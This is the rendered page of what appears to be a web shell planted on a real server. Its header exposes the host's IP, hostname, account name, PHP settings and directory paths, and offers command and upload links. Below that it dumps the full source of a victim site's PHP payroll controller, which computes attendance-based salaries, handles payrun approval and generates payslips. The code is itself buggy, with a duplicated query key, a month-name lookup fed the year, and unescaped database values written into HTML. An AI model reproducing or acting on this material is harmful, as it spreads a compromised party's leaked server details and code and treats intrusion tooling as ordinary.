MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/ecampus.ncriptech.com/application/controllers/admin/hrm/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/ecampus.ncriptech.com/application/controllers/admin/hrm/Payroll.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');

//error_reporting(1);


/**
 * 
 */
class Payroll  extends BaseAdminController
{
    protected $inst_id='';
    protected $inst_parent_id='';
    protected $inst_code='';
    protected $inst_type='';
    protected $hrms_access='';

    protected $payschedule_settings='';

    function __construct()
    {
        parent::__construct();

        $institute_data=check_institute($this->data['userdata']);
        $this->inst_id=$institute_data['institute_id'];
        $this->inst_parent_id=$institute_data['inst_parent_id'];
        $this->inst_code=$institute_data['inst_code'];
        $this->inst_type=$institute_data['inst_type'];

        $this->hrms_access=$institute_data['hrms_access'];

        //$this->load->model('hrm/leaves_model','lvm');

        $this->load->model(array('hrm/employee_model'=>'em','hrm/attendance_model'=>'hrmatt','hrm/roles_model'=>'hrmrm','hrm/payroll_model'=>'hrmpm','hrm/leaves_model'=>'lvm','hrm/hrmsettings_model'=>'hrmsm'));

        $hrm_settings=$this->hrmsm->get_hrm_settings(array('hrm_settings_inst_id'=>$this->inst_id,'hrm_settings_inst_type'=>$this->inst_type,'hrm_settings_type'=>'pay_schedule_settings'));

        if(!empty($hrm_settings)){
            //$this->attendance_settings=unserialize($hrm_settings->hrm_settings_value);
            $this->payschedule_settings=unserialize($hrm_settings->hrm_settings_value);


            //print_obj($this->payschedule_settings);die;
        }
    }



    function index(){
       
        if(session_userdata('isAdminLoggedin')){


            $this->data['page_title']='Weekly Leave Settings';

            if($this->hrms_access=='yes'){

                $payroll_month = date('F Y', strtotime('-1 month'));

                $_payrun_month=date('m', strtotime('-1 month'));

                $this->data['payrol_month']=$payroll_month;

                $_payrun_data=$this->hrmpm->get_payrun(array('payrun_month'=>$_payrun_month,'payrun_year'=>date('Y'),'payrun_inst_id'=>$this->inst_id,'payrun_inst_type'=>$this->inst_type));

                $this->data['payroll_emp_net_pay']=number_format($_payrun_data->payrun_emp_net_pay,2);

                //print_obj($_payrun_data);die;

                $pay_day=$this->payschedule_settings['monthly_salary_cal_days_setting'];

                $this->data['payrun_data']=$_payrun_data;

                $this->data['pay_day']=date('d/m/Y',strtotime($pay_day.'/'.date('m/Y')));

                $this->data['total_employee']=$this->em->get_total_employee(array('emp_inst_id'=>$this->inst_id,'emp_inst_type'=>$this->inst_type,'emp_status'=>'active'));


                $view='hrm/payroll/vw_hrm_payroll_runs';
            }else{
                $view='hrm/vw_permission_denied';
            }


            $this->theme->title($this->data['page_title'])->load($view, $this->data);
        }else{

            redirect($this->data['base_url']);
        }
    }

    function indexDetails($payrun_id){
       
        if(session_userdata('isAdminLoggedin')){


            $this->data['page_title']='Weekly Leave Settings';

            if($this->hrms_access=='yes'){

                $payrun_id=decode_data($payrun_id);

                $_payrun_data=$this->hrmpm->get_payrun(array('payrun_id'=>$payrun_id,'payrun_inst_id'=>$this->inst_id,'payrun_inst_type'=>$this->inst_type));


                //print_obj($_payrun_data);


                $this->data['total_employee']=$this->em->get_total_employee(array('emp_inst_id'=>$this->inst_id,'emp_inst_type'=>$this->inst_type,'emp_status'=>'active'));



                $pay_day=$this->payschedule_settings['monthly_salary_cal_days_setting'];

                $this->data['pay_day']=$pay_day;

                $this->data['current_month']=date('M ,Y');
                $this->data['payroll_month'] = date('m', strtotime('-1 month'));
                $this->data['payroll_year']  = date('Y', strtotime('-1 month'));


                //print_obj($pay_day);die;


                //print_obj($this->data['total_employee']);die;

                if(!empty($_payrun_data)){
                    $this->data['total_base_days']=days_in_month($_payrun_data->payrun_month);
                    $payrun_data=array(
                        'payroll_period'=>get_month_from_number($_payrun_data->payrun_month).' '.$_payrun_data->payrun_year,
                        'payrun_pay_day'=>$pay_day.'/'.date('m/Y'),
                        'payroll_cost'=>number_format($_payrun_data->payrun_total_cost,2),
                        'payroll_emp_net_pay'=>number_format($_payrun_data->payrun_emp_net_pay,2),
                        'payrun_total_deductions'=>number_format($_payrun_data->payrun_total_deductions,2),
                        'payrun_approval_status'=>$_payrun_data->payrun_approval_status,
                        'payrun_status'=>$_payrun_data->payrun_status
                    );
                }


                //print_obj($payrun_data);die;

                
                $this->data['payrun_id']=encode_data($payrun_id);

                $this->data['payrun_data']=$payrun_data;


                $view='hrm/payroll/vw_hrm_payroll_runs_details';
            }else{
                $view='hrm/vw_permission_denied';
            }


            $this->theme->title($this->data['page_title'])->load($view, $this->data);
        }else{

            redirect($this->data['base_url']);
        }
    }


    //Payroll Data generation
    public function onGeneratePayrollData(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                $user_id=$this->data['userdata']->user_id;
                $current_month=date('m');
                $payroll_month = date('m', strtotime('-1 month'));//$current_month;//
                $current_year=date('Y');
                $total_salary=0;
                $total_deduction=0;
                $total_sal_gross=0;
                $today=date('Y-m-d');

                $payrun_available=$this->hrmpm->get_payrun(array('payrun_inst_id'=>$this->inst_id,
                    'payrun_inst_id'=>$this->inst_type,'payrun_month'=>$payroll_month,'payrun_year'=>$current_year,'payrun_status'=>'ready'));

                //print_obj($payrun_available);die;

                if(empty($payrun_available)){

                    $total_employee=$this->em->get_total_employee(array('emp_inst_id'=>$this->inst_id,'emp_inst_type'=>$this->inst_type));

                    $emp_salary_datas=$this->em->get_employee_salary_details(array('salary_inst_id'=>$this->inst_id,'salary_inst_type'=>$this->inst_type,'salary_status'=>'active'),FALSE);

                    //print_obj($emp_salary_datas);die;

                    if(!empty($emp_salary_datas)){
                        foreach ($emp_salary_datas as $key => $value) {

                            $sal_monthly=$value->salary_ctc_monthly;

                            //Total Attendance Count & Salary Calculation

                            $total_attendance=$this->hrmatt->_get_total_attendance(array('att_leave_deducted'=>'no','MONTH(att_date)'=>$payroll_month,'att_emp_id'=>$value->salary_emp_id),array('field'=>'att_status','values'=>array('present','present(late)')));

                            $t[$value->salary_emp_id][]=$total_attendance;

                            $omnthly_gross=$value->salary_ctc_monthly;

                            $days_in_month=days_in_month($payroll_month,$current_year);

                            $daily_wage=($total_attendance>0)?($value->salary_ctc_monthly/$days_in_month):'0';

                            $sal_gross=$daily_wage*$total_attendance;

                            $deductions_total=$value->salary_ctc_monthly-$sal_gross;

                            $net_pay=$sal_gross;

                            $sal_data[]=array(
                                'sal_details_inst_id'=>$this->inst_id,
                                'sal_details_inst_type'=>$this->inst_type,
                                'sal_details_emp_id'=>$value->salary_emp_id,
                                'sal_details_month'=>$payroll_month,
                                'sal_details_year'=>$current_year,
                                'sal_details_paid_days'=>$total_attendance,
                                'sal_details_gross'=>$omnthly_gross,
                                'sal_details_deductions'=>$deductions_total,
                                'sal_details_taxes'=>'0',
                                'sal_details_benifits'=>'0',
                                'sal_details_reimbursements'=>'0',
                                'sal_details_net_pay'=>$net_pay,
                                'sal_details_pay_status'=>'not_paid'
                            );

                            $total_salary+=$value->salary_ctc_monthly;

                            $total_sal_gross+=$sal_gross;
                        }
                    }


                   // print_obj($t);die;

                    $payrun_data=array(
                        'payrun_inst_id'=>$this->inst_id,
                        'payrun_inst_type'=>$this->inst_type,
                        'payrun_emp_total'=>$total_employee,
                        'payrun_month'=>$payroll_month,
                        'payrun_year'=>$current_year,
                        'payrun_total_cost'=>$total_salary,
                        'payrun_emp_net_pay'=>$total_sal_gross,
                        'payrun_total_deductions'=>$total_deduction,
                        'payrun_status'=>'draft',
                        'payrun_approval_status'=>'yet_to_approve',
                        'payrun_approval_status_statement'=>'Not yet approved',
                        'payrun_created_by'=>$user_id,
                    );

                    $payrun_added=$this->hrmpm->store_payrun($payrun_data);

                    if($payrun_added){

                        if(isset($sal_data) && !empty($sal_data)){
                           $this->em->store__employee_salary_details($sal_data,TRUE); 
                        }                        

                        $return['success']='payrun generated';
                        $return['redirect']=$this->data['base_url'].'/hrm/payruns/'.encode_data($payrun_added);
                    }else{
                        $return['error']='Payrun error';
                    }

                }else{
                    $return['error']='Already generated';
                }

                json_headers($return);

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }


    public function onUpdatePayRunStatus(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                $user_id=$this->data['userdata']->user_id;
                $payrun_id=post_data('payrun_id');
                $status_type=post_data('payrun_status_type');

                if(!empty($payrun_id)){

                    $payrun_id=decode_data($payrun_id);

                    if($status_type=='approval'){

                        $data_to_update=array(
                            'payrun_approval_status'=>'approved',
                            'payrun_approval_status_statement'=>'Payroll approved',
                            'payrun_approved_by'=>$user_id,
                            'payrun_updated_at'=>date('Y-m-d H:i:s')
                        );

                        $updated=$this->hrmpm->update_payrun($data_to_update,array('payrun_id'=>$payrun_id,'payrun_inst_id'=>$this->inst_id,
                            'payrun_inst_type'=>$this->inst_type));

                        if($updated){
                            $return['success']='Payrun has been approved.';
                        }else{
                            $return['error']='Error occurred';
                        }

                    }else if($status_type=='rejection'){

                        $rejection_reason=post_data('payrun_rejection_reson');

                        $data_to_update=array(
                            'payrun_approval_status'=>'rejected',
                            'payrun_approval_status_statement'=>$rejection_reason,
                            'payrun_approved_by'=>$user_id,
                            'payrun_updated_at'=>date('Y-m-d H:i:s')
                        );

                        $updated=$this->hrmpm->update_payrun($data_to_update,array('payrun_id'=>$payrun_id,'payrun_inst_id'=>$this->inst_id,
                            'payrun_inst_type'=>$this->inst_type));

                        if($updated){
                            $return['success']='Payrun has been rejected.';
                        }else{
                            $return['error']='Error occurred';
                        }
                    }else if($status_type=='deletion'){


                        $_payrun_data=$this->hrmpm->get_payrun(array('payrun_id'=>$payrun_id,'payrun_inst_id'=>$this->inst_id,'payrun_inst_type'=>$this->inst_type));

                        if(!empty($_payrun_data)){
                           $deleted=$this->hrmpm->delete_payrun(array('payrun_id'=>$payrun_id)); 

                           if($deleted){
                            $this->em->delete_payroll_head(array('sal_details_month'=>$_payrun_data->payrun_month,'sal_details_year'=>$_payrun_data->payrun_year,'sal_details_inst_id'=>$this->inst_id,'sal_details_inst_type'=>$this->inst_type));
                            $return['redirect']=$this->data['base_url'].'/hrm/payruns';
                           }else{
                            $return['error']='Payrun data not deleted';
                           }

                        }else{
                            $return['error']='Payrun data not found.';
                        }

                        
                    }                  

                }else{
                    $return['error']='No data found to update';
                }

                json_headers($return);

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }


    public function onRecordFinalPayData(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                $details_month=post_data('details_month');
                $details_year=post_data('details_year');

                $employee_pay_data=$this->em->get_employee_salary_details_data(array('sal_details_pay_status'=>'not_paid','sal_details_inst_id'=>$this->inst_id,'sal_details_inst_type'=>$this->inst_type,'sal_details_month'=>$details_month,'sal_details_year'=>$details_year),FALSE);


                if(!empty($employee_pay_data)){

                    foreach ($employee_pay_data as $key => $value) {
                        $data_to_update[]=array(
                            'sal_details_id'=>$value->sal_details_id,
                            'sal_details_pay_status'=>'paid',
                            'sal_gen_payslip'=>'yes'
                        );
                    }

                    $updated=$this->em->update__employee_salary_details($data_to_update,'sal_details_id',TRUE);

                    if($updated){
                        $this->hrmpm->update_payrun(array('payrun_status'=>'paid','payrun_updated_at'=>date('Y-m-d H:i:s')),array('payrun_inst_id'=>$this->inst_id,'payrun_inst_type'=>$this->inst_type,'payrun_month'=>$details_month,'payrun_year'=>$details_year));
                        $return['success']='Payrun data has been finalized.';
                    }else{
                        $return['error']='Payrun data error occurred.';
                    }

                }else{
                    $return['error']='No data found to process';
                }

                json_headers($return);

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }


    public function onSearchPayRunList(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                if($this->hrms_access=='yes'){

                    $payroll_month=date('m');
                    $payroll_year=date('Y');

                    $param['column_order'] = array(
                        null,
                        'employee_name'
                    );

                    $param['salary_inst_id']=$this->inst_id;
                    $param['salary_inst_type']=$this->inst_type;


                    $param['column_search'] = array('emp_mid_name','emp_first_name','emp_last_name','emp_code');
                    $param['order'] = array('sal_details_id' => 'ASC');
                    $posts=$this->input->post();

                    //$param['sal_details_year']=$posts['details_year'];
                    //$param['sal_details_month']=$posts['details_month'];

                    $list = $this->em->_get_employee_salary_details($posts,$param,FALSE,FALSE);


                    $data = array();
                    $no = isset($posts['start'])?$posts['start']:0;

                    $action='';

                    foreach ($list as $payrun){
                        $no++;

                        $row = array();

                        if(!empty($payrun->emp_mid_name)){
                            $emp_name=$payrun->emp_first_name.' '.$payrun->emp_mid_name.' '.$payrun->emp_last_name;
                        }else{
                            $emp_name=$payrun->emp_first_name.' '.$payrun->emp_last_name;
                        }
                       
                        $row[]  =   $emp_name.' ('.$payrun->emp_code.')';
                        $row[]  =   $payrun->sal_details_paid_days;
                        $row[]  =   '<i class="fa fa-inr"></i> '.number_format($payrun->sal_details_gross,2);
                        $row[]  =   '<i class="fa fa-inr"></i> '.number_format($payrun->sal_details_deductions,2);
                        $row[]  =   '<i class="fa fa-inr"></i> '.number_format($payrun->sal_details_taxes,2);
                        $row[]  =   '<i class="fa fa-inr"></i> '.number_format($payrun->sal_details_benifits,2);
                        $row[]  =   '<i class="fa fa-inr"></i> '.number_format($payrun->sal_details_reimbursements,2);
                        $row[]  =   '<i class="fa fa-inr"></i> '.number_format($payrun->sal_details_net_pay,2);


                        $data[] = $row; 
                    }

                    $output = array(
                        "draw" => isset($posts['draw'])?$posts['draw']:'',
                        "recordsTotal" => $this->em->_get_employee_salary_details($posts,$param,TRUE),
                        "recordsFiltered" => $this->em->_get_employee_salary_details($posts,$param,TRUE),
                        "data" => $data,
                    );
                    
                    echo json_encode($output);


                }else{
                    $return['error']='Permission denied';
                }

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }


    public function onSearchPayRunPaidList(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                if($this->hrms_access=='yes'){

                    $payroll_month=date('m');
                    $payroll_year=date('Y');

                    $param['column_order'] = array(
                        null,
                        'employee_name'
                    );

                    $param['salary_inst_id']=$this->inst_id;
                    $param['salary_inst_type']=$this->inst_type;


                    $param['column_search'] = array('emp_mid_name','emp_first_name','emp_last_name','emp_code');
                    $param['order'] = array('sal_details_id' => 'ASC');
                    $posts=$this->input->post();

                    //$param['sal_details_year']=$posts['details_year'];
                    //$param['sal_details_month']=$posts['details_month'];

                    $list = $this->em->_get_employee_salary_details($posts,$param,FALSE,FALSE);


                    $data = array();
                    $no = isset($posts['start'])?$posts['start']:0;

                    $action='';

                    foreach ($list as $payrun){
                        $no++;

                        $row = array();

                        if(!empty($payrun->emp_mid_name)){
                            $emp_name=$payrun->emp_first_name.' '.$payrun->emp_mid_name.' '.$payrun->emp_last_name;
                        }else{
                            $emp_name=$payrun->emp_first_name.' '.$payrun->emp_last_name;
                        }
                       
                        $row[]  =   $emp_name.' ('.$payrun->emp_code.')';
                        $row[]  =   $payrun->sal_details_paid_days;
                        $row[]  =   '<i class="fa fa-inr"></i> '.number_format($payrun->sal_details_net_pay,2);

                        $row[]  =   '';
                        $row[]  =   'Bank Transfer';
                        $row[]  =   $payrun->sal_details_pay_status;

                        $row[]  =   '<button type="button" class="btn btn-xs btn-dark btn_view_payslip" data-sal_id="'.$payrun->sal_details_id.'">View Payslip</button>';

                        $data[] = $row; 
                    }

                    $output = array(
                        "draw" => isset($posts['draw'])?$posts['draw']:'',
                        "recordsTotal" => $this->em->_get_employee_salary_details($posts,$param,TRUE),
                        "recordsFiltered" => $this->em->_get_employee_salary_details($posts,$param,TRUE),
                        "data" => $data,
                    );
                    
                    echo json_encode($output);


                }else{
                    $return['error']='Permission denied';
                }

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }



    public function onGeneratePayslip(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                if($this->hrms_access=='yes'){

                    $sal_id=post_data('sal_id');

                    $sal_details=$this->em->__get_employee_salary_details_data(array('sal_details_id'=>$sal_id,'sal_details_inst_id'=>$this->inst_id,'sal_details_inst_type'=>$this->inst_type));

                    if(!empty($sal_details)){

                        $emp_data=$this->em->_get_employee(array('emp_user_id'=>$sal_details->sal_details_emp_id));

                        if(!empty($sal_details->emp_mid_name)){
                            $emp_name=$sal_details->emp_first_name.' '.$sal_details->emp_mid_name.' '.$sal_details->emp_last_name;
                        }else{
                            $emp_name=$sal_details->emp_first_name.' '.$sal_details->emp_mid_name.' '.$sal_details->emp_last_name;
                        }

                        $pay_period=get_month_from_number($sal_details->sal_details_year).' '.$sal_details->sal_details_year;

                        $sal_data=array(
                            'sal_period'=>$pay_period,
                            'emp_name'=>$emp_name,
                            'emp_designation'=>$emp_data->designation_name,
                            'emp_code'=>$emp_data->emp_code,
                            'emp_doj'=>date('d/m/Y',strtotime($emp_data->emp_doj)),
                            'pay_period'=>$pay_period,
                            'pay_date'=>'',
                            'pan_no'=>'',
                            'pay_days'=>$sal_details->sal_details_paid_days,
                            'lop_days'=>'',
                            'net_pay'=>number_format($sal_details->sal_details_net_pay,2),
                            'gross_pay'=>number_format($sal_details->sal_details_gross,2),
                            'deduction_total'=>number_format($sal_details->sal_details_taxes,2),
                            'amount_in_words'=>no_to_words($sal_details->sal_details_net_pay)                          
                        );


                        //print_obj($sal_data);die;


                        $this->data['payslip_details']=$sal_data;

                        $return['html']=$this->theme->view('_pages/hrm/templates/vw_regular_payslip_default_template',$this->data,true);


                    }else{
                        $return['error']='Salary details not found';
                    }


                }else{
                    $return['error']='Permission denied';
                }


                json_headers($return);                

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }


    public function onSearchPayRunHistory(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){

                if($this->hrms_access=='yes'){

                    $payroll_month=date('m');
                    $payroll_year=date('Y');

                    $param['column_order'] = array(
                        null,
                        'employee_name'
                    );

                    $param['payrun_inst_id']=$this->inst_id;
                    $param['payrun_inst_type']=$this->inst_type;


                    $param['column_search'] = array('payrun_total_cost');
                    $param['order'] = array('payrun_id' => 'ASC');
                    $posts=$this->input->post();

                    $list = $this->hrmpm->_get_payrun($posts,$param,FALSE,FALSE);


                    $data = array();
                    $no = isset($posts['start'])?$posts['start']:0;

                    $action='';

                    foreach ($list as $payrun){
                        $no++;

                        $row = array();

                        $month_dates=get_fisrt_last_date_of_month($payrun->payrun_month,$payrun->payrun_year);

                        $row[]  =   $no;
                        $row[]  =   date('d-m-Y',strtotime($payrun->payrun_updated_at));
                        $row[]  =   $month_dates['first_day'].' - '.$month_dates['last_day'];
                        $row[]  =   '<a href="'.$this->data['base_url'].'/hrm/payruns/'.encode_data($payrun->payrun_id).'" class="btn btn-xs btn-success">'.strtoupper($payrun->payrun_status).'</a>';

                        $data[] = $row; 
                    }

                    $output = array(
                        "draw" => isset($posts['draw'])?$posts['draw']:'',
                        "recordsTotal" => $this->hrmpm->_get_payrun($posts,$param,TRUE),
                        "recordsFiltered" => $this->hrmpm->_get_payrun($posts,$param,TRUE),
                        "data" => $data,
                    );
                    
                    echo json_encode($output);


                }else{
                    $return['error']='Permission denied';
                }

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }



    public function onGeneratePaySlips(){

    }


    //Employee Payslips 
    public function indexEmployeePayslips(){
        if(session_userdata('isAdminLoggedin')){

            if($this->hrms_access=='yes'){

                $view='hrm/payroll/vw_employee_payslips';
            }else{
                $view='hrm/vw_permission_denied';
            }

            $this->theme->title($this->data['page_title'])->load($view, $this->data);

        }else{
           redirect($this->data['base_url']);
        }
    }


    public function indexEmployeePayslipsDetails(){
        if(session_userdata('isAdminLoggedin')){

            if($this->hrms_access=='yes'){

                $view='hrm/payroll/vw_employee_payslips_details';
            }else{
                $view='hrm/vw_permission_denied';
            }

            $this->theme->title($this->data['page_title'])->load($view, $this->data);

        }else{
           redirect($this->data['base_url']);
        }
    }


    public function onSearchPayHeads(){
        if(session_userdata('isAdminLoggedin')==TRUE && session_userdata('admin_id')){
            if($this->input->is_ajax_request() && $this->input->server('REQUEST_METHOD')=='POST'){
                $param['column_order'] = array(
                    null,
                    'head_name',
                    'head_code'
                );

                $param['head_inst_id']=$this->data['userdata']->user_id;

                $param['column_search'] = array('head_name','head_code');
                $param['order'] = array('head_id' => 'ASC');
                $posts=$this->input->post();

                $list = $this->lvm->_get_leave_holiday($posts,$param,FALSE,FALSE);

                $data = array();
                $no = isset($posts['start'])?$posts['start']:0;

                $action='';

                foreach ($list as $lv){
                    $no++;

                    $row = array();

                    $row[]  =   $no;
                    $row[]  =   $lv->leave_holiday_name;
                    $row[]  =   date('d-m-Y',strtotime($lv->leave_holiday_from));
                    $row[]  =   date('d-m-Y',strtotime($lv->leave_holiday_to));
                    $row[]  =   $lv->leave_holiday_day_no;
                    
                    $row[]  =   '<button type="button" class="btn btn-xs btn-info btn_leave_holiday_edit" data-leave_holiday_id="'.encode_data($lv->leave_holiday_id ).'" data-leave_holiday_name="'.$lv->leave_holiday_name.'" data-leave_holiday_from="'.$lv->leave_holiday_from.'" data-leave_holiday_to="'.$lv->leave_holiday_to.'"><i class="fa fa-pencil"></i></button>
                    <button type="button" class="btn btn-xs btn-danger btn_holiday_del" data-leave_holiday_id="'.encode_data($lv->leave_holiday_id).'"><i class="fa fa-trash"></i></button>';

                    $data[] = $row; 
                }

                $output = array(
                    "draw" => isset($posts['draw'])?$posts['draw']:'',
                    "recordsTotal" => $this->lvm->_get_leave_holiday($posts,$param,TRUE),
                    "recordsFiltered" => $this->lvm->_get_leave_holiday($posts,$param,TRUE),
                    "data" => $data,
                );
                
                echo json_encode($output);

            }else{
                redirect($this->data['base_url']);
            }
        }else{
            redirect($this->data['base_url']);
        }
    }


}

MMCT - 2023